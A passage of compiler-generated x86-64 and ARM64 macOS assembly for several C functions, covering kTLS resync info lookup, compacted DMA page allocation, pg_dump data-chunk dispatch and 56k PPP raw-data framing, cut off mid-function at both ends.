add x21, x21, #1 b LBB0_1 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _GF2K_START,4,2 ; @GF2K_START .comm _GF2K_STROBE,4,2 ; @GF2K_STROBE .no_dead_strip _gf2k_read_packet .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function tx_sync_info_get _tx_sync_info_get: ## @tx_sync_info_get .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r13 movq %rsi, %r12 movq (%rdi), %rbx movq _MLX5E_KTLS_SYNC_DONE@GOTPCREL(%rip), %rax movl (%rax), %r14d movq %rbx, %rdi callq _spin_lock_irqsave leaq 16(%r13), %rdx movq %rbx, %rdi movq %r12, %rsi callq _tls_get_record movq %rax, %r15 xorl %edi, %edi testq %rax, %rax sete %dil callq _unlikely testq %rax, %rax je LBB0_4 LBB0_1: movq _MLX5E_KTLS_SYNC_FAIL@GOTPCREL(%rip), %rax LBB0_2: movl (%rax), %r14d LBB0_3: movq %rbx, %rdi callq _spin_unlock_irqrestore movl %r14d, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_4: movq %r15, %rdi callq _tls_record_start_seq xorl %edi, %edi cmpq %r12, %rax setg %dil callq _unlikely testq %rax, %rax je LBB0_7 ## %bb.5: movq %r15, %rdi callq _tls_record_is_start_marker testq %rax, %rax je LBB0_1 ## %bb.13: movq _MLX5E_KTLS_SYNC_SKIP_NO_DATA@GOTPCREL(%rip), %rax jmp LBB0_2 LBB0_7: movl %r14d, -44(%rbp) ## 4-byte Spill movq %rbx, -56(%rbp) ## 8-byte Spill movq %r15, %rdi callq _tls_record_start_seq subl %eax, %r12d movl %r12d, (%r13) xorl %ebx, %ebx testl %r12d, %r12d jle LBB0_10 ## %bb.8: movq %r15, -64(%rbp) ## 8-byte Spill xorl %r15d, %r15d movq %r13, -72(%rbp) ## 8-byte Spill .p2align 4, 0x90 LBB0_9: ## =>This Inner Loop Header: Depth=1 movq -64(%rbp), %rax ## 8-byte Reload movq (%rax), %r13 leaq (%r15,%r13), %r14 movq %r14, %rdi callq _skb_frag_page movl %eax, %edi callq _get_page movq %r14, %rdi callq _skb_frag_size subl %eax, %r12d movl (%r13,%r15), %eax movq -72(%rbp), %r13 ## 8-byte Reload movq 8(%r13), %rcx movl %eax, (%rcx,%r15) addq $-4, %r15 decl %ebx testl %r12d, %r12d jg LBB0_9 LBB0_10: testl %r12d, %r12d jns LBB0_12 ## %bb.11: movq 8(%r13), %rax movslq %ebx, %rcx leaq (%rax,%rcx,4), %rdi addq $-4, %rdi movl %r12d, %esi callq _skb_frag_size_add LBB0_12: movl %ebx, 4(%r13) movq -56(%rbp), %rbx ## 8-byte Reload movl -44(%rbp), %r14d ## 4-byte Reload jmp LBB0_3 .cfi_endproc ## -- End function .comm _MLX5E_KTLS_SYNC_DONE,4,2 ## @MLX5E_KTLS_SYNC_DONE .comm _MLX5E_KTLS_SYNC_FAIL,4,2 ## @MLX5E_KTLS_SYNC_FAIL .comm _MLX5E_KTLS_SYNC_SKIP_NO_DATA,4,2 ## @MLX5E_KTLS_SYNC_SKIP_NO_DATA .no_dead_strip _tx_sync_info_get .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function tx_sync_info_get _tx_sync_info_get: ; @tx_sync_info_get .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x21, x2 mov x23, x1 ldr x19, [x0] Lloh0: adrp x8, _MLX5E_KTLS_SYNC_DONE@GOTPAGE Lloh1: ldr x8, [x8, _MLX5E_KTLS_SYNC_DONE@GOTPAGEOFF] Lloh2: ldr w20, [x8] mov x0, x19 bl _spin_lock_irqsave add x2, x21, #16 mov x0, x19 mov x1, x23 bl _tls_get_record mov x22, x0 cmp x0, #0 cset w0, eq bl _unlikely cbz x0, LBB0_2 ; %bb.1: Lloh3: adrp x8, _MLX5E_KTLS_SYNC_FAIL@GOTPAGE Lloh4: ldr x8, [x8, _MLX5E_KTLS_SYNC_FAIL@GOTPAGEOFF] Lloh5: ldr w20, [x8] b LBB0_9 LBB0_2: mov x0, x22 bl _tls_record_start_seq cmp x0, x23 cset w0, gt bl _unlikely cbz x0, LBB0_4 ; %bb.3: mov x0, x22 bl _tls_record_is_start_marker Lloh6: adrp x8, _MLX5E_KTLS_SYNC_SKIP_NO_DATA@GOTPAGE Lloh7: ldr x8, [x8, _MLX5E_KTLS_SYNC_SKIP_NO_DATA@GOTPAGEOFF] Lloh8: adrp x9, _MLX5E_KTLS_SYNC_FAIL@GOTPAGE Lloh9: ldr x9, [x9, _MLX5E_KTLS_SYNC_FAIL@GOTPAGEOFF] cmp x0, #0 csel x8, x9, x8, eq ldr w20, [x8] b LBB0_9 LBB0_4: mov x0, x22 bl _tls_record_start_seq sub w23, w23, w0 str w23, [x21] cmp w23, #1 b.lt LBB0_10 ; %bb.5: mov w24, #0 ; =0x0 mov x25, #0 ; =0x0 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr x26, [x22] add x0, x26, x25 bl _skb_frag_page bl _get_page add x0, x26, x25 bl _skb_frag_size sub w23, w23, w0 ldr w8, [x26, x25] ldr x9, [x21, #8] str w8, [x9, x25] sub x25, x25, #4 sub w24, w24, #1 cmp w23, #0 b.gt LBB0_6 ; %bb.7: tbnz w23, #31, LBB0_11 LBB0_8: str w24, [x21, #4] LBB0_9: mov x0, x19 bl _spin_unlock_irqrestore mov x0, x20 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_10: mov w24, #0 ; =0x0 tbz w23, #31, LBB0_8 LBB0_11: ldr x8, [x21, #8] add x8, x8, w24, sxtw #2 sub x0, x8, #4 mov x1, x23 bl _skb_frag_size_add b LBB0_8 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _MLX5E_KTLS_SYNC_DONE,4,2 ; @MLX5E_KTLS_SYNC_DONE .comm _MLX5E_KTLS_SYNC_FAIL,4,2 ; @MLX5E_KTLS_SYNC_FAIL .comm _MLX5E_KTLS_SYNC_SKIP_NO_DATA,4,2 ; @MLX5E_KTLS_SYNC_SKIP_NO_DATA .no_dead_strip _tx_sync_info_get .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function vb2_dma_sg_alloc_compacted _vb2_dma_sg_alloc_compacted: ## @vb2_dma_sg_alloc_compacted .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %ebx movq %rdi, %r14 movq (%rdi), %r12 xorl %r15d, %r15d ## implicit-def: $eax ## kill: killed $eax .p2align 4, 0x90 LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_4 Depth 2 ## Child Loop BB0_5 Depth 3 ## Child Loop BB0_16 Depth 2 ## Child Loop BB0_20 Depth 2 ## Child Loop BB0_10 Depth 2 testq %r12, %r12 je LBB0_2 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq %r12, %rdi callq _get_order movq %r12, %rdx movl %eax, %r12d movq _PAGE_SIZE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %r12d, %ecx shll %cl, %eax cltq movq %rdx, -56(%rbp) ## 8-byte Spill cmpq %rax, %rdx sbbl $0, %r12d LBB0_4: ## Parent Loop BB0_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_5 Depth 3 xorl %eax, %eax .p2align 4, 0x90 LBB0_5: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_4 Depth=2 ## => This Inner Loop Header: Depth=3 movq %rax, %r13 testq %rax, %rax jne LBB0_12 ## %bb.6: ## in Loop: Header=BB0_5 Depth=3 movq ___GFP_ZERO@GOTPCREL(%rip), %rax movl (%rax), %eax movq _GFP_KERNEL@GOTPCREL(%rip), %rcx andl (%rcx), %eax movq ___GFP_NOWARN@GOTPCREL(%rip), %rcx movl (%rcx), %edi orl %ebx, %edi orl %eax, %edi movl %r12d, %esi callq _alloc_pages testq %rax, %rax jne LBB0_5 ## %bb.7: ## in Loop: Header=BB0_4 Depth=2 subl $1, %r12d jae LBB0_4 ## %bb.8: ## in Loop: Header=BB0_1 Depth=1 testl %r15d, %r15d je LBB0_11 ## %bb.9: ## in Loop: Header=BB0_1 Depth=1 movl %r15d, %r15d .p2align 4, 0x90 LBB0_10: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 movq 8(%r14), %rax movq -8(%rax,%r15,8), %rdi callq ___free_page decq %r15 jne LBB0_10 LBB0_11: ## in Loop: Header=BB0_1 Depth=1 xorl %ecx, %ecx movq _ENOMEM@GOTPCREL(%rip), %rax subl (%rax), %ecx movl %ecx, -44(%rbp) ## 4-byte Spill movl $-1, %r15d movq -56(%rbp), %r12 ## 8-byte Reload testq %r13, %r13 jne LBB0_1 jmp LBB0_23 .p2align 4, 0x90 LBB0_12: ## in Loop: Header=BB0_1 Depth=1 movq %r13, %rdi movl %r12d, %esi callq _split_page cmpl $31, %r12d je LBB0_21 ## %bb.13: ## in Loop: Header=BB0_1 Depth=1 movl $1, %eax movl %r12d, %ecx shll %cl, %eax cmpl $2, %r12d jae LBB0_15 ## %bb.14: ## in Loop: Header=BB0_1 Depth=1 xorl %ecx, %ecx andl $3, %eax jne LBB0_19 jmp LBB0_21 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_1 Depth=1 movl %eax, %edx andl $-4, %edx movl %r15d, %esi movq %r13, %rdi xorl %ecx, %ecx .p2align 4, 0x90 LBB0_16: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 leal (%rsi,%rcx), %r8d movq 8(%r14), %r9 leal (%rsi,%rcx), %r10d incl %r10d movq %rdi, (%r9,%r8,8) leaq 4(%rdi), %r8 movq 8(%r14), %r9 leal 2(%rsi,%rcx), %r11d movq %r8, (%r9,%r10,8) leaq 8(%rdi), %r8 movq 8(%r14), %r9 leal 3(%rsi,%rcx), %r10d movq %r8, (%r9,%r11,8) leaq 12(%rdi), %r8 movq 8(%r14), %r9 movq %r8, (%r9,%r10,8) addq $4, %rcx addq $16, %rdi cmpq %rcx, %rdx jne LBB0_16 ## %bb.17: ## in Loop: Header=BB0_1 Depth=1 addl %ecx, %r15d andl $3, %eax je LBB0_21 LBB0_19: ## in Loop: Header=BB0_1 Depth=1 leaq (,%rcx,4), %rcx addq %r13, %rcx .p2align 4, 0x90 LBB0_20: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 movq 8(%r14), %rdx movl %r15d, %esi incl %r15d movq %rcx, (%rdx,%rsi,8) addq $4, %rcx decq %rax jne LBB0_20 LBB0_21: ## in Loop: Header=BB0_1 Depth=1 movq _PAGE_SIZE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %r12d, %ecx shll %cl, %eax cltq movq -56(%rbp), %r12 ## 8-byte Reload subq %rax, %r12 testq %r13, %r13 jne LBB0_1 jmp LBB0_23 LBB0_2: movl $0, -44(%rbp) ## 4-byte Folded Spill LBB0_23: movl -44(%rbp), %eax ## 4-byte Reload addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _PAGE_SIZE,4,2 ## @PAGE_SIZE .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm ___GFP_ZERO,4,2 ## @__GFP_ZERO .comm ___GFP_NOWARN,4,2 ## @__GFP_NOWARN .comm _ENOMEM,4,2 ## @ENOMEM .no_dead_strip _vb2_dma_sg_alloc_compacted .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function vb2_dma_sg_alloc_compacted _vb2_dma_sg_alloc_compacted: ; @vb2_dma_sg_alloc_compacted .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x1 mov x20, x0 mov w22, #0 ; =0x0 Lloh0: adrp x25, _PAGE_SIZE@GOTPAGE Lloh1: ldr x25, [x25, _PAGE_SIZE@GOTPAGEOFF] Lloh2: adrp x26, _GFP_KERNEL@GOTPAGE Lloh3: ldr x26, [x26, _GFP_KERNEL@GOTPAGEOFF] Lloh4: adrp x27, ___GFP_ZERO@GOTPAGE Lloh5: ldr x27, [x27, ___GFP_ZERO@GOTPAGEOFF] ldr x21, [x0] Lloh6: adrp x28, ___GFP_NOWARN@GOTPAGE Lloh7: ldr x28, [x28, ___GFP_NOWARN@GOTPAGEOFF] ; implicit-def: $w8 ; kill: killed $w8 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ; Child Loop BB0_4 Depth 3 ; Child Loop BB0_11 Depth 2 ; Child Loop BB0_15 Depth 2 cbz x21, LBB0_17 ; %bb.2: ; in Loop: Header=BB0_1 Depth=1 mov x0, x21 bl _get_order ldr w8, [x25] lsl w8, w8, w0 cmp x21, w8, sxtw cset w8, lo sub w24, w0, w8 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_4 Depth 3 mov x0, #0 ; =0x0 LBB0_4: ; Parent Loop BB0_1 Depth=1 ; Parent Loop BB0_3 Depth=2 ; => This Inner Loop Header: Depth=3 mov x23, x0 cbnz x0, LBB0_8 ; %bb.5: ; in Loop: Header=BB0_4 Depth=3 ldr w8, [x26] ldr w9, [x27] and w8, w9, w8 ldr w9, [x28] orr w9, w9, w19 orr w0, w9, w8 mov x1, x24 bl _alloc_pages cbnz x0, LBB0_4 ; %bb.6: ; in Loop: Header=BB0_3 Depth=2 cbz w24, LBB0_13 ; %bb.7: ; in Loop: Header=BB0_3 Depth=2 sub w24, w24, #1 b LBB0_3 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 mov x0, x23 mov x1, x24 bl _split_page cmp w24, #31 b.ne LBB0_10 ; %bb.9: ; in Loop: Header=BB0_1 Depth=1 mov x9, x22 b LBB0_12 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 mov w8, #1 ; =0x1 lsl w8, w8, w24 mov x10, x23 LBB0_11: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 add w9, w22, #1 ldr x11, [x20, #8] str x10, [x11, w22, uxtw #3] add x10, x10, #4 mov x22, x9 subs x8, x8, #1 b.ne LBB0_11 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [x25] lsl w8, w8, w24 sub x21, x21, w8, sxtw mov x22, x9 cbnz x23, LBB0_1 b LBB0_18 LBB0_13: ; in Loop: Header=BB0_1 Depth=1 cbz w22, LBB0_16 ; %bb.14: ; in Loop: Header=BB0_1 Depth=1 ubfiz x8, x22, #3, #32 sub x22, x8, #8 LBB0_15: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x8, [x20, #8] ldr x0, [x8, x22] bl ___free_page sub x22, x22, #8 cmn x22, #8 b.ne LBB0_15 LBB0_16: ; in Loop: Header=BB0_1 Depth=1 Lloh8: adrp x8, _ENOMEM@GOTPAGE Lloh9: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh10: ldr w8, [x8] neg w8, w8 str w8, [sp, #12] ; 4-byte Folded Spill mov w22, #-1 ; =0xffffffff cbnz x23, LBB0_1 b LBB0_18 LBB0_17: str wzr, [sp, #12] ; 4-byte Folded Spill LBB0_18: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _PAGE_SIZE,4,2 ; @PAGE_SIZE .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm ___GFP_ZERO,4,2 ; @__GFP_ZERO .comm ___GFP_NOWARN,4,2 ; @__GFP_NOWARN .comm _ENOMEM,4,2 ; @ENOMEM .no_dead_strip _vb2_dma_sg_alloc_compacted .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _WriteDataChunks ## -- Begin function WriteDataChunks .p2align 4, 0x90 _WriteDataChunks: ## @WriteDataChunks .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx testq %rsi, %rsi je LBB0_15 ## %bb.1: movq %rsi, %r14 cmpl $2, (%rsi) jl LBB0_15 ## %bb.2: movl (%rbx), %edi shll $3, %edi callq _pg_malloc movq %rax, %rdi movq 8(%rbx), %rcx movq 8(%rcx), %rax cmpq %rcx, %rax movq %rdi, -48(%rbp) ## 8-byte Spill je LBB0_3 ## %bb.4: movq _REQ_DATA@GOTPCREL(%rip), %rdx movl (%rdx), %edx xorl %r12d, %r12d jmp LBB0_5 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rax), %rax cmpq %rcx, %rax je LBB0_9 LBB0_5: ## =>This Inner Loop Header: Depth=1 cmpl $0, 4(%rax) je LBB0_9 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movl (%rax), %esi orl %edx, %esi je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movslq %r12d, %rcx incl %r12d movq %rax, (%rdi,%rcx,8) movq 8(%rbx), %rcx jmp LBB0_8 LBB0_15: movq 8(%rbx), %rax movq 8(%rax), %r14 cmpq %rax, %r14 je LBB0_21 ## %bb.16: movq _REQ_DATA@GOTPCREL(%rip), %r15 jmp LBB0_17 .p2align 4, 0x90 LBB0_20: ## in Loop: Header=BB0_17 Depth=1 movq 8(%r14), %r14 cmpq %rax, %r14 je LBB0_21 LBB0_17: ## =>This Inner Loop Header: Depth=1 cmpl $0, 4(%r14) je LBB0_20 ## %bb.18: ## in Loop: Header=BB0_17 Depth=1 movl (%r15), %ecx testl %ecx, (%r14) je LBB0_20 ## %bb.19: ## in Loop: Header=BB0_17 Depth=1 movq %rbx, %rdi movq %r14, %rsi callq _WriteDataChunksForTocEntry movq 8(%rbx), %rax jmp LBB0_20 LBB0_21: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_9: cmpl $2, %r12d jl LBB0_11 ## %bb.10: movq _TocEntrySizeCompare@GOTPCREL(%rip), %rax movl (%rax), %ecx movq -48(%rbp), %rdi ## 8-byte Reload movl %r12d, %esi movl $8, %edx callq _qsort movq -48(%rbp), %rdi ## 8-byte Reload jmp LBB0_12 LBB0_3: xorl %r12d, %r12d jmp LBB0_12 LBB0_11: testl %r12d, %r12d js LBB0_14 LBB0_12: incl %r12d xorl %r13d, %r13d movq _mark_dump_job_done@GOTPCREL(%rip), %r15 .p2align 4, 0x90 LBB0_13: ## =>This Inner Loop Header: Depth=1 movq (%rdi,%r13,8), %rdx movq _ACT_DUMP@GOTPCREL(%rip), %rax movl (%rax), %ecx movl (%r15), %r8d movq %rbx, %rdi movq %r14, %rsi xorl %r9d, %r9d callq _DispatchJobForTocEntry movq -48(%rbp), %rdi ## 8-byte Reload incq %r13 cmpq %r13, %r12 jne LBB0_13 LBB0_14: callq _pg_free movq _WFW_ALL_IDLE@GOTPCREL(%rip), %rax movl (%rax), %edx movq %rbx, %rdi movq %r14, %rsi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _WaitForWorkers ## TAILCALL .cfi_endproc ## -- End function .comm _REQ_DATA,4,2 ## @REQ_DATA .comm _TocEntrySizeCompare,4,2 ## @TocEntrySizeCompare .comm _ACT_DUMP,4,2 ## @ACT_DUMP .comm _mark_dump_job_done,4,2 ## @mark_dump_job_done .comm _WFW_ALL_IDLE,4,2 ## @WFW_ALL_IDLE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _WriteDataChunks ; -- Begin function WriteDataChunks .p2align 2 _WriteDataChunks: ; @WriteDataChunks .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x0 cbz x1, LBB0_8 ; %bb.1: mov x20, x1 ldr w8, [x1] cmp w8, #2 b.lt LBB0_8 ; %bb.2: ldr w8, [x19] lsl w0, w8, #3 bl _pg_malloc mov x21, x0 ldr x9, [x19, #8] ldr x8, [x9, #8] cmp x8, x9 b.eq LBB0_17 ; %bb.3: mov w22, #0 ; =0x0 Lloh0: adrp x10, _REQ_DATA@GOTPAGE Lloh1: ldr x10, [x10, _REQ_DATA@GOTPAGEOFF] Lloh2: ldr w10, [x10] b LBB0_5 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [x8, #8] cmp x8, x9 b.eq LBB0_15 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr w11, [x8, #4] cbz w11, LBB0_15 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 ldr w11, [x8] orr w11, w10, w11 cbz w11, LBB0_4 ; %bb.7: ; in Loop: Header=BB0_5 Depth=1 str x8, [x21, w22, sxtw #3] add w22, w22, #1 ldr x9, [x19, #8] b LBB0_4 LBB0_8: ldr x8, [x19, #8] ldr x20, [x8, #8] cmp x20, x8 b.eq LBB0_14 ; %bb.9: Lloh3: adrp x21, _REQ_DATA@GOTPAGE Lloh4: ldr x21, [x21, _REQ_DATA@GOTPAGEOFF] b LBB0_11 LBB0_10: ; in Loop: Header=BB0_11 Depth=1 ldr x20, [x20, #8] cmp x20, x8 b.eq LBB0_14 LBB0_11: ; =>This Inner Loop Header: Depth=1 ldr w9, [x20, #4] cbz w9, LBB0_10 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 ldr w9, [x20] ldr w10, [x21] tst w10, w9 b.eq LBB0_10 ; %bb.13: ; in Loop: Header=BB0_11 Depth=1 mov x0, x19 mov x1, x20 bl _WriteDataChunksForTocEntry ldr x8, [x19, #8] b LBB0_10 LBB0_14: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_15: cmp w22, #2 b.lt LBB0_18 ; %bb.16: Lloh5: adrp x8, _TocEntrySizeCompare@GOTPAGE Lloh6: ldr x8, [x8, _TocEntrySizeCompare@GOTPAGEOFF] Lloh7: ldr w3, [x8] mov x0, x21 mov x1, x22 mov w2, #8 ; =0x8 bl _qsort b LBB0_19 LBB0_17: mov w22, #0 ; =0x0 b LBB0_19 LBB0_18: tbnz w22, #31, LBB0_21 LBB0_19: add w22, w22, #1 Lloh8: adrp x23, _ACT_DUMP@GOTPAGE Lloh9: ldr x23, [x23, _ACT_DUMP@GOTPAGEOFF] Lloh10: adrp x24, _mark_dump_job_done@GOTPAGE Lloh11: ldr x24, [x24, _mark_dump_job_done@GOTPAGEOFF] mov x25, x21 LBB0_20: ; =>This Inner Loop Header: Depth=1 ldr x2, [x25], #8 ldr w3, [x23] ldr w4, [x24] mov x0, x19 mov x1, x20 mov x5, #0 ; =0x0 bl _DispatchJobForTocEntry subs x22, x22, #1 b.ne LBB0_20 LBB0_21: mov x0, x21 bl _pg_free Lloh12: adrp x8, _WFW_ALL_IDLE@GOTPAGE Lloh13: ldr x8, [x8, _WFW_ALL_IDLE@GOTPAGEOFF] Lloh14: ldr w2, [x8] mov x0, x19 mov x1, x20 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload b _WaitForWorkers .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _REQ_DATA,4,2 ; @REQ_DATA .comm _TocEntrySizeCompare,4,2 ; @TocEntrySizeCompare .comm _ACT_DUMP,4,2 ; @ACT_DUMP .comm _mark_dump_job_done,4,2 ; @mark_dump_job_done .comm _WFW_ALL_IDLE,4,2 ; @WFW_ALL_IDLE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function make_raw_data_56k LCPI0_0: .long 32 ## 0x20 .long 64 ## 0x40 .long 1 ## 0x1 .long 16 ## 0x10 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _make_raw_data_56k: ## @make_raw_data_56k .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq 24(%rdi), %rcx testq %rcx, %rcx je LBB0_1 ## %bb.2: movq (%rbx), %rax movl $255, (%rax) cmpq $0, (%rcx) je LBB0_3 ## %bb.4: movq _PPP_INITFCS@GOTPCREL(%rip), %rax movq (%rax), %rax xorl %r14d, %r14d .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 movq 8(%rcx), %rcx movl (%rcx,%r14,4), %esi movq %rax, %rdi callq _PPP_FCS incq %r14 movq 24(%rbx), %rcx movq (%rcx), %rdx cmpq %rdx, %r14 jb LBB0_5 jmp LBB0_6 LBB0_1: movq 40(%rbx), %rdi leaq L_.str(%rip), %rsi xorl %eax, %eax callq _debugl1 movl $1, %eax jmp LBB0_9 LBB0_3: 